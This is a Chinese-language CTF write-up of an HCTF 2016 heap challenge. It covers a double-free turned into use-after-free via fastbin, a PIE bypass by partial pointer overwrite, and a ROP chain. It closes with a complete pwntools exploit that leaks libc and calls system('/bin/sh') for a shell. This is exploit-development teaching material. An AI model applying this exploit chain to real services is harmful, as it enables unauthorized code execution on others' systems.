这是一个hctf2016的比赛题目,题目中的漏洞是堆相关的,但与之前写过的堆漏洞有所不同,程序中申请的堆块比较小,只能用uaf
去利用。
经过对程序的分析,分析出如下两个结构体:
str_struct
是漏洞利用所用到的结构体,每次创建字符串都会malloc一个这个结构。
漏洞发生在delete_str
函数中,在delete时没有检查这块内存是否被释放过,造成double free。
构造uaf
1 2 3 4 5 6 7 8 9 10
| create(4, 'aaa\n') create(4, 'aaa\n') delete(0) delete(1) delete(0) create(4, '\x00')
create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00') delete(0)
|
利用fastbin使用单向链表并且不检查double free的特点,对两个堆块进行释放,chunk0释放了两次,fastbin上的链表变成了循环链表,再以适当的方式申请堆块,就可以使字符串缓冲区和带有函数指针的控制块重合,使覆盖函数指针成为可能。
注:在调试fastbin时,又跟青神学到了新的调试方法,在gdb中使用命令:
1
| gdb-peda$ p &main_arena.fastbinsY
|
可以打印出fastbin中的内容。不过要先安装一个库:
1
| $ sudo apt-get install libc6-dbg
|
绕过PIE
为了绕过PIE,需要leak一个程序中代码的地址。PIE保护开启,地址的最低位一个字节还是不变的。通过覆盖一个字节的函数指针最低位,使得本来调用的free*
函数,跳转到一个能leak地址的地方。
main函数中的这个puts
与free*
函数地址只差最低位的一个字节,而且调用后不会返回,可以将要free的地址中的内容打印出来,且程序不会崩溃。
找到存放ROP的位置
能够控制的函数指针在delete
函数中,因此ROP最方便也是存放在delete
函数的栈中。这里恰好有一个较大的buf
变量,通过pop|ret
调整rsp
使得ROP得以执行。
获取shell
能够使用ROP就可以构造任意地址读,可以获得服务器的libc版本,从而得知函数偏移。
下面是完整的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
|
from pwn import *
r = remote('127.0.0.1', 4444)
def create(size, string): r.recvuntil('quit') r.sendline('create ') r.recvuntil('size:') r.sendline(str(size)) r.recvuntil('str:') r.send(string)
def delete(id, sure = 'yes'): r.recvuntil('quit') r.sendline('delete ') r.recvuntil('id:') r.sendline(str(id)) r.recvuntil('sure?:') r.sendline(sure)
create(4, 'aaa\n') create(4, 'aaa\n') delete(0) delete(1) delete(0) create(4, '\x00')
create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00') delete(0) r.recvuntil('lo') puts_addr = r.recvline()[:-1] base_addr = u64(puts_addr.ljust(8, '\x00')) - 0xd2d print 'base_addr = ' + hex(base_addr)
delete(1) create(4, '\x00')
create(0x20, 'a' * 0x18 + p64(base_addr + 0x11dc))
payload = p64(base_addr + 0x11e3) payload += p64(base_addr + 0x202070) payload += p64(base_addr + 0x990) payload += p64(base_addr + 0x11e3) payload += p64(1) payload += p64(base_addr + 0x11da) payload += p64(0) payload += p64(1) payload += p64(base_addr + 0x202058) payload += p64(8) payload += p64(base_addr + 0x202078) payload += p64(0) payload += p64(base_addr + 0x11c0) payload += 'a' * 8 * 7 payload += p64(base_addr + 0xb65) delete(1, 'yes'.ljust(8, '\x00') + payload)
malloc_addr = u64(r.recvline()[:-1].ljust(8, '\x00')) libc_addr = malloc_addr - 0x83580 system_addr = libc_addr + 0x45390 r.sendline(p64(system_addr) + '/bin/sh')
r.interactive()
|
题目下载
reference
http://www.freebuf.com/articles/web/121778.html?utm_source=tuicool&utm_medium=referral